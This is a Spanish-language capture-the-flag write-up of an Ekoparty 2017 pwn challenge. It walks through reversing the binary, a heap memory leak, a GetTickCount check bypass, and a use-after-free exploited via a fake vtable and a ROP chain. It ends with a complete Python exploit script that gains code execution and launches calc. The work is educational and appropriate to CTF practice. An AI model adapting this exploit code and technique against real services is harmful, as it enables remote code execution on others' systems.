kd❯ g

fffff803'00000000 EB FE jmp short loc_HackinG

~ ./priv

                    CTF Ekoparty 2017, 2018 y 2019 (PWN!)
                  

                      Este reto se trataba de desarrollar un exploit el cual debía obtener una ejecución de código a partir del binario. Este ejecutable fue de los CTF de Ekoparty 2017, de igual manera desarrollé los del 2018 y 2019 que lo pueden encontrar en el repositorio al final del post.
                      
                      Ahora la idea de este post fue porque no existía un review de la solución y personalmente creo que es importante plasmar estos desarrollos en algún paper o lo que sea, ya me ayuda a aprender más mientras estoy explicando o enseñando de como lo desarrolle. 
                      Entonces para empezar con el análisis lo primero que hago es cagar el binario a IDA para ver su arquitectura y validar algunas cosas que pueden dar información rápida, este punto fue complicado, ya que no tenía los símbolos y con más de 500 funciones.
                      
                      Así que el paso siguiente fue identificar cosas pequeñas de estas funciones y revertir para ver que hacían. Esto tomo un poco de tiempo pero pude identificar algunas relevantes como main y socket y luego pase a renombrarlas, así marco un camino en el análisis.
                      
                      Como había dicho sobre un socket, este se listaba en el puerto 8888 esperando alguna interacción. Después de esto se debía cumplir algunas condiciones para ejecutar otro socket al puerto 4930.
                      
                      Con este primer socket identifiqué algunos buffers en heap llamado a malloc() y otros bytes que seteaban tamaños y desplazamientos "offset" del buffer y otras variables. Aquí identifique una función de respuesta como send() la que utilice para filtrar memoria de 0x20 bytes, esto me ayudo a obtener direcciones stack, return, calcular punteros a vtable y sus funciones, chunk en heap, etc.
                      
                      Después de realizar un leak de 0x19C0 bytes la conexión se cierra y crea una nueva en el puerto 4930 el que se genera multiplicando 8888 * 2 con la instrucción shl eax, 1 y espera un segundo envio de payload.
                      
                      En esta segunda conexión analizamos la siguiente función que renombre como vulnerable. Luego de comprobar si el socket está correcto entramos a las validaciones.
                      
                      Debo evitar algunas comparaciones de GetTickCount() que nos devuelve un valor random evitando que siga por el flujo, por suerte existe un envió de esta data, así que solo debo recibir estos bytes utilizarlos como bypass y además de calcular algunas constantes con este valor para saltar al las rutinas que me llevaran a comprobar la vulnerabilidad.
                      
                      ya evitando el valor random debemos calcular este mismo valor con una constante para saltar a la función con el bug. Estos valores son los siguientes: (98543268h, 98543269h, 9854326Ch, 98543267h, 9854326Ah, 9854326Bh, 9854326Dh, 98543265h). 
                      La que resalta es la que nos interesa "hice un análisis previo". Por lo tanto el cálculo que debo hacer es asi 9854326D-vRandom=Result y al revertir la resta de Result+vRandom=9854326D con esto ya solucionamos el salto.
                      
                      Solo nos queda revertir un poco más y ver como puedo explotar esta vulnerabilidad:

                      1 - En 9854326Dh encontré un free() luego de un malloc() y un strncpy(). Con estas funciones pude liberar una bloque luego volver a utilizar y copiar la data enviada en el primer payload a ese espacio como punteros.
                      
                      2 - Realizo una la llamada a la función obtenida de la vtable. Aquí hay un pequeño gran problema, lo que pasa es que existe una indirección de rax+0x18, donde calcula el inicio de vtable hacia nuestra función que controlamos, el problema es que el primer puntero a la función no son bytes ejecutables entonces si saltamos ahí donde normalmente debería estar el inicio de nuestra shellcode este no ejecuta y se bloquea. Para solucionar este problema tuve que calcular el offset de donde quedo mi chunk en le heap y dejarlo en rax para así utilizar la indirección de rax+0x18 dentro de mi data y no a los punteros de las funciones.
                      
                      3 - Con esto solucionado deje un desplazamiento de 0x18 dentro de mi data que es el primer puntero a mi ROP.
                      
                      4 - La lógica del ROP que utilice hace un stack pivot a los punteros escritos en la función controlada, luego de procesar todos los gadget retorno al stack original y ejecuto system evitando una lectura fuera de límites.

                      Antes de pasar al detalle dejo este diagrama que realice, para poder explicar de manera gráfica como hice esta hazaña y como evite el primer puntero de la función de vtable.
                      
                          * hago un stack pivot a los a ROP donde esta mi funcion falsa de vtable
xchg rsp, rcx / add rsp, 28h / retn

                          * guardo el puntero a calc en rcx
pop rcx / add [rax],al / add rsp, 38h / retn

                          * guardo el puntero a system desde función a rbx
pop rbx / retn

                          * muevo el puntero a system a rax para su copia
mov rax,rbx / add rsp,20h / pop rbx / retn

                          * aprovechando el pop rbx de la instrucción anterior guardo la dirección de stack original
pop rbx

                          * hago una copia del puntero a system en la dirección del stack original
mov [rbx],rax / add rsp,20h / pop rbx / retn

                          * por último paso la dirección del stack original a rsp donde se encuentra el puntero a system y salto a ahí
pop rsp / retn

                      Video:
https://www.youtube.com/watch?v=REy0G5abyas

                      Repo:
https://github.com/s1kr10s/CTF/2017
https://github.com/s1kr10s/CTF/2018
https://github.com/s1kr10s/CTF/2019

                      Code:
import socket
import struct
from time import sleep
#By Miguel MZ - s1kr10s

host = "192.168.18.229"
addr_func = 0x9854326D  # Direccion de funcion a calcular

def connection(port):
    print '[+] Init Connection {0}:{1}'.format(host, port)
    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    con.connect((host, port))
    return con

# Solo utilizo para invertir la direccion de memoria
def reverser(leak):
    memory = leak[14:16]
    memory += leak[12:14]
    memory += leak[10:12]
    memory += leak[8:10]
    memory += leak[6:8]
    memory += leak[4:6]
    memory += leak[2:4]
    memory += leak[:2]
    mem_int = struct.pack('<Q', int(memory, 16))
    return struct.unpack('<Q', mem_int)[0]

con_first = connection(8888)

print '[+] Getting Memory Leak...'
for i in range(208):

    # cuando termine de filtar que asigne 0x88 a rax para salir del ciclo
    if i == 207:
        # termina primera conexion 8888
        payload = struct.pack('<Q', 0x8800000001)
        con_first.send(payload + '\n')
        break
    else:
        # multiplicamos 0x20 por indice para cada vuelta y es utilizado como desplazamiento de memoria para send()
        payload = struct.pack('<Q', 0x2000000001 * i)
        con_first.send(payload + '\n')
        sleep(0.3)
        leak = con_first.recv(32)
        print '     [*] Leak {}: {}'.format(i, leak.encode('hex'))

        # filtramos solo las lineas con leak utilizables como stack, retorno y chunk
        if i == 54:
            off_stack = reverser(leak.encode('hex')[46:62])
        if i == 62:
            addr_binary = reverser(leak.encode('hex')[14:30])
        if i == 204:
            addr_chunk = reverser(leak.encode('hex')[30:46])

imagebase = addr_binary - 0x17801               # calculo de ImageBaseAddress
p_stack_vtable = off_stack - 0x1698             # solo si necesitamos ejecutar una funcion de la VTable desde inicio
p_stack_vtable_function = addr_chunk + 0x100b0  # solo si necesitamos ejecutar punteros dentro de la funcion
ptr_cmd_exec = imagebase + 0x5898               # calculo de funcion system
ptr_calc = p_stack_vtable_function + 248        # calc

print '  [-] Memory Leak Stack: {}'.format(hex(off_stack))
print '  [-] Memory Leak Address return: {}'.format(hex(addr_binary))
print '  [-] Memory Leak ptr Chunk in Heap: {}'.format(hex(addr_chunk))
print '  [-] Size new malloc() UAF: 0x13E8'
print '[+] Calculated offset'
print '  [-] Image Base Address: {}'.format(hex(imagebase))
print '  [-] ptr Fake VTable in Stack: {}'.format(hex(p_stack_vtable))
print '  [-] ptr Function in Fake VTable in Stack: {}'.format(hex(p_stack_vtable_function))
print '  [-] ptr to System: {}'.format(hex(ptr_cmd_exec))
print '  [-] ptr to string Calc: {}'.format(hex(ptr_calc))

sleep(2)

con_second = connection(4930)
leak_GetTickCount = struct.unpack('<i', con_second.recv(8))[0]
print '  [-] Memory Leak GetTickCount: {}'.format(hex(leak_GetTickCount))

''' --- LOGICA DE ROP ---
- hago un stack pivot a los a ROP donde esta mi funcion falsa de vtable
  xchg rsp, rcx / add rsp, 28h / retn

- guardo el puntero a calc en rcx
  pop rcx / add [rax],al / add rsp, 38h / retn
  
- guardo el puntero a system desde funcion a rbx
  pop rbx / retn

- muevo el puntero a system a rax para su copia
  mov rax,rbx / add rsp,20h / pop rbx / retn

- aprovechando el pop rbx de la instruccion anterior guardo la direccion de stack original
  pop rbx
    
- hago una copia del puntero a system en la direccion del stack original
  mov [rbx],rax / add rsp,20h / pop rbx / retn

- por ultimo paso la direccion del stack original a rsp donde se encuentra el puntero a system y salto a ahi
  pop rsp / retn
'''

# RCX contiene el puntero a nuestra funcion (chunk) en Fake VTable
align_stack = struct.pack('<Q', imagebase + 0x1063)     # xchg rsp, rcx / add rsp, 28h
ropero = struct.pack('<Q', imagebase + 0x19DB)          # get prt a calc pop rcx / add [rax],al / add rsp, 38h
ropero += struct.pack('<Q', ptr_calc)                   # ptr calc
ropero += struct.pack('<Q', 0x0000000000000000) * 7     # compensacion para add rsp, 38h
ropero += struct.pack('<Q', imagebase + 0x6576)         # get prt a system pop rbx
ropero += struct.pack('<Q', ptr_cmd_exec)               # ptr a system
ropero += struct.pack('<Q', imagebase + 0x2048)         # movemos ptr system mov rax,rbx / add rsp,20h / pop rbx
ropero += struct.pack('<Q', 0x0000000000000000) * 4     # compensacion para add rsp,20h
ropero += struct.pack('<Q', off_stack)                  # addr de stack original en pop rbx
ropero += struct.pack('<Q', imagebase + 0xBEFC)         # ptr system a stack mov [rbx],rax / add rsp,20h / pop rbx
ropero += struct.pack('<Q', 0x0000000000000000) * 5     # compensacion para add rsp,20h y pop rbx
ropero += struct.pack('<Q', imagebase + 0x7C76)         # pop rsp
ropero += struct.pack('<Q', off_stack)                  # volvemos al stack original y ejecutar system

func_jump = addr_func - leak_GetTickCount
payload = struct.pack('<I', leak_GetTickCount)          # comparacion de valor GetTickCount
payload += struct.pack('<I', func_jump)                 # calculo a jmp function
payload += struct.pack('<Q', 0x0000000000000000)        # compensacion
payload += struct.pack('<I', 0x13E8)                    # size para nuevo malloc UAF 0x13E8
payload += '\x00' * 12                                  # compensacion
payload += struct.pack('<Q', p_stack_vtable_function)   # ptr a fake vftable con desplazamiento de stack + 0x1698
payload += struct.pack('<Q', 0x0000000000000000) * 2    # compensacion
payload += align_stack                                  # offset to ropchain en rax+0x18
payload += struct.pack('<Q', 0x0000000000000000)        # compensacion
payload += ropero                                       # ejecutamos intrucciones de rop para llegar a rce
payload += struct.pack('<Q', 0x0000000000000000)        # compensacion
payload += 'calc\x00\x00\x00\x00'                       # string de calc
con_second.send(payload)